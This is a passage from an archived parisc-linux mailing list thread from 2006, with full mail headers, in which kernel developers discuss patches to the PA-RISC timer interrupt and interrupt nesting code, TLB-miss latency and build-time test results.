	Bottomley" at Sep 4, 2006 05:47:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a47Lc5QdbGI0QqaDYmRnqLFncmZ1Zlz6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23979

> +	if (likely(now - next_tick < clocktick)) {
> +		nticks = 1;
>  		next_tick += clocktick;
> -		nticks++;
> +	} else {
> +		nticks = ((now - next_tick)/clocktick) + 1;
> +		next_tick += clocktick*nticks;
> +	}

I'd rather loop if now - next_tick isn't too many ticks.  Integer
division and multiplation are very expensive, particularly when
running in 64-bit mode.  We don't have optimized millicode to do it.
So, I don't much like falling into the unlikely case if we are just
delayed one tick.

I'm still concerned that we may take a TLB exception in this code
and substantially increase the calculation time.

It's somewhat unclear whether any of these tweaks will solve the
B160 issue.  The halftick margin may not be enough in the slow
path at 1000 Hz and decreasing the tick rate may be the only fix
on slow machines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] make parisc interrupts nest properly
Date: Tue, 05 Sep 2006 19:14:33 +0000
Lines: 51
Approved: news@gmane.org
Message-ID: <44FDCC99.2040805@scarlet.be>
References: <1157391143.3513.23.camel@mulgrave.il.steeleye.com>	<119aab440609041955k6a6b9466h91726bd1a9e2d621@mail.gmail.com>
	<1157425332.3513.35.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624180 20947 80.91.229.3 (22 Nov 2014 02:43:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:00 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 19:15:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 05 Sep 2006 21:15:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9690E7D77D;
	Tue,  5 Sep 2006 13:14:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04575-06; Tue, 5 Sep 2006 13:14:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 414467D77A;
	Tue,  5 Sep 2006 13:14:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E7ED7D6D6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 13:14:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04575-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Sep 2006 13:14:47 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id F30BD7D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 13:14:46 -0600 (MDT)
Original-Received: from (ip-213-49-64-90.dsl.scarlet.be [213.49.64.90]) 
	by oola.is.scarlet.be  with ESMTP id k85JEdO23027; 
	Tue, 5 Sep 2006 21:14:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060809 Debian/1.7.13-0.3
X-Accept-Language: en
In-Reply-To: <1157425332.3513.35.camel@mulgrave.il.steeleye.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +rmcIO4Qa0AoXL6aejEznKw3Njh6dM55
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23980



James Bottomley wrote:
> On Mon, 2006-09-04 at 22:55 -0400, Carlos O'Donell wrote:
> 
>>This patch looks great. What boxes have you tested this with? 32-bit?
>>64-bit?
> 
> 
> The only one I currently have access to: a pa8800 (i.e. 64 bit).
> 
duno if that could help: I tested it on b2k 32bit kernel and c110.
I did noticed build pb nor boot ;-)

Just compare on b2k the time to build the same kernel tree (same config):
without patch:

real    30m43.031s
user    26m17.318s
sys     3m58.584s

with patch:

real    31m14.598s
user    26m9.790s
sys     4m40.426s

imho no significant differences.

Joel

> There's some testing to do to make sure I haven't disturbed any of the
> other bus types, so I'll try it out on my raven when I get that up, but,
> unfortunately, the dino block of interrupts, because of the way they're
> wired, won't be able to interrupt each other.
> 
> James
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Tue, 5 Sep 2006 16:49:02 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20060905224902.GA11064@colo.lackof.org>
References: <1157410039.3513.26.camel@mulgrave.il.steeleye.com>
	<200609042352.k84NqpuE028835@hiauly1.hia.nrc.ca>
	<20060905051247.GB12278@colo.lackof.org>
	<1157471614.3463.36.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624181 20949 80.91.229.3 (22 Nov 2014 02:43:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:01 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 22:49:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 06 Sep 2006 00:49:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F1787D80F;
	Tue,  5 Sep 2006 16:49:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08730-05; Tue, 5 Sep 2006 16:49:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D3D07D802;
	Tue,  5 Sep 2006 16:49:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C45617D7FD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 16:49:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08336-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Sep 2006 16:49:04 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 934697D682
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 16:49:04 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F1D483982CF;
	Tue,  5 Sep 2006 16:49:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10338-08; Tue, 5 Sep 2006 16:49:02 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A05CD3982CD; Tue,  5 Sep 2006 16:49:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1157471614.3463.36.camel@mulgrave.il.steeleye.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jpeYBeYFfW4oTuWveGVol5FmdmllcsUG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23981

On Tue, Sep 05, 2006 at 10:53:34AM -0500, James Bottomley wrote:
> On Mon, 2006-09-04 at 23:12 -0600, Grant Grundler wrote:
> > > I'm still concerned that we may take a TLB exception in this code
> > > and substantially increase the calculation time.
> > 
> > Hrm...what would cause a TLB exception in timer_interrupt?
> > Accessing a global var?
> 
> A TLB miss could be caused by either code or data ... we only have a few
> hundred entries, so the chances of the timer_interrupt code or data
> being not in the TLB cache are high.

If we only have one TLB entry for kernel text (code), we should
never have a miss because of code accesses. I thought that was
the case but don't know for sure. ISTR some discussion about
use of BTLB (PA1.1) and Large Pages (PA 2.0) hardwired for kernel.

Kernel data would probably benefit too.

> However, the TLB miss handling code is pretty speedy ... we can
> certainly fill a TLB entry in around 20 instructions on the fast path.

Add trap latency (e.g. sync/RFI) and it's still pretty small (not more
than "hundreds" of cycles.  I'm worried about orders of magnitutude
bigger latencies.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Tue, 05 Sep 2006 17:59:46 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1157497186.3463.88.camel@mulgrave.il.steeleye.com>
References: <1157410039.3513.26.camel@mulgrave.il.steeleye.com>
	<200609042352.k84NqpuE028835@hiauly1.hia.nrc.ca>
	<20060905051247.GB12278@colo.lackof.org>
	<1157471614.3463.36.camel@mulgrave.il.steeleye.com>
	<20060905224902.GA11064@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624181 20951 80.91.229.3 (22 Nov 2014 02:43:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:01 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 23:00:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 06 Sep 2006 01:00:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCF1F7D817;
	Tue,  5 Sep 2006 17:00:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08810-08; Tue, 5 Sep 2006 17:00:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB7AD7D81B;
	Tue,  5 Sep 2006 17:00:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 238687D814
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 17:00:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08730-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Sep 2006 17:00:01 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id B470E7D80F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 17:00:00 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k85Mxl518957; Tue, 5 Sep 2006 18:59:47 -0400
In-Reply-To: <20060905224902.GA11064@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: STjNfLFFMmApXLSZZGFnOjoxMjQ1N92O
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23982

On Tue, 2006-09-05 at 16:49 -0600, Grant Grundler wrote:
> If we only have one TLB entry for kernel text (code), we should
> never have a miss because of code accesses. I thought that was
> the case but don't know for sure. ISTR some discussion about
> use of BTLB (PA1.1) and Large Pages (PA 2.0) hardwired for kernel.
> 
> Kernel data would probably benefit too.

Erm ... no, we never actually implemented this.  We still use 4k TLB
entries for the entire kernel and its data.

> Add trap latency (e.g. sync/RFI) and it's still pretty small (not more
> than "hundreds" of cycles.  I'm worried about orders of magnitutude
> bigger latencies.

Right ... it's a source of potential delay, but not a significant one.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Tue, 5 Sep 2006 19:41:19 -0400 (EDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <200609052341.k85NfK5r008132@hiauly1.hia.nrc.ca>
References: <20060905224902.GA11064@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624181 20983 80.91.229.3 (22 Nov 2014 02:43:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:01 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 23:41:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 06 Sep 2006 01:41:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7A417D826;
	Tue,  5 Sep 2006 17:41:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09772-01; Tue, 5 Sep 2006 17:41:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAB097D7D5;
	Tue,  5 Sep 2006 17:41:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4CD67D7AD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 17:41:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09133-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Sep 2006 17:41:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9051E7D7A6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 17:41:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k85NfKnE008133;
	Tue, 5 Sep 2006 19:41:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k85NfK5r008132;
	Tue, 5 Sep 2006 19:41:20 -0400 (EDT)
In-Reply-To: <20060905224902.GA11064@colo.lackof.org> from "Grant Grundler" at
	Sep 5, 2006 04:49:02 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GzPLcM07RkkeaauPfGRqXmxmdWkvKNMn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23983

> On Tue, Sep 05, 2006 at 10:53:34AM -0500, James Bottomley wrote:
> > On Mon, 2006-09-04 at 23:12 -0600, Grant Grundler wrote:
> > > > I'm still concerned that we may take a TLB exception in this code
> > > > and substantially increase the calculation time.
> > > 
> > > Hrm...what would cause a TLB exception in timer_interrupt?
> > > Accessing a global var?
> > 
> > A TLB miss could be caused by either code or data ... we only have a few
> > hundred entries, so the chances of the timer_interrupt code or data
> > being not in the TLB cache are high.
> 
> If we only have one TLB entry for kernel text (code), we should
> never have a miss because of code accesses. I thought that was
> the case but don't know for sure. ISTR some discussion about
> use of BTLB (PA1.1) and Large Pages (PA 2.0) hardwired for kernel.

Ok, I think we can rule out this as a significant cause for delay
in calculating the time for the next tick.

I brought it up because I think the only way the current code
fails are:

1) We take too long calculating the time for the next tick and
   then have to wait one complete 32-bit counter cycle for the
   next interrupt.  For the D160, we have about 27000 ticks per
   counter cycle.  The loop is four instructions.  We have 80000
   instruction cycles in a half tick.  Thus, we should be able
   to do about 20000 loop iterations in a half tick assuming
   assuming the cpu doesn't mispredict the branch.  Thus, we can't
   quite catch up a complete cycle but the current code can handle
   quite a large interrupt latency.

2) We have a huge interrupt latency and hit the half cycle limit
   present when using signed arithmetic.  The interrupt latency
   may not be real if the timer values are getting clobbered or
   not properly initialized.  Grant, you may have already fixed
   the problem with your recent patches.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Tue, 5 Sep 2006 20:24:00 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200609060024.k860O0Br009253@hiauly1.hia.nrc.ca>
References: <20060905051247.GB12278@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624182 20985 80.91.229.3 (22 Nov 2014 02:43:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:02 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2006 00:24:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 06 Sep 2006 02:24:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6031E7D834;
	Tue,  5 Sep 2006 18:24:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10220-08; Tue, 5 Sep 2006 18:24:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08B507D830;
	Tue,  5 Sep 2006 18:24:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 858837D7DC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 18:24:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10220-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Sep 2006 18:24:02 -0600 (MDT)
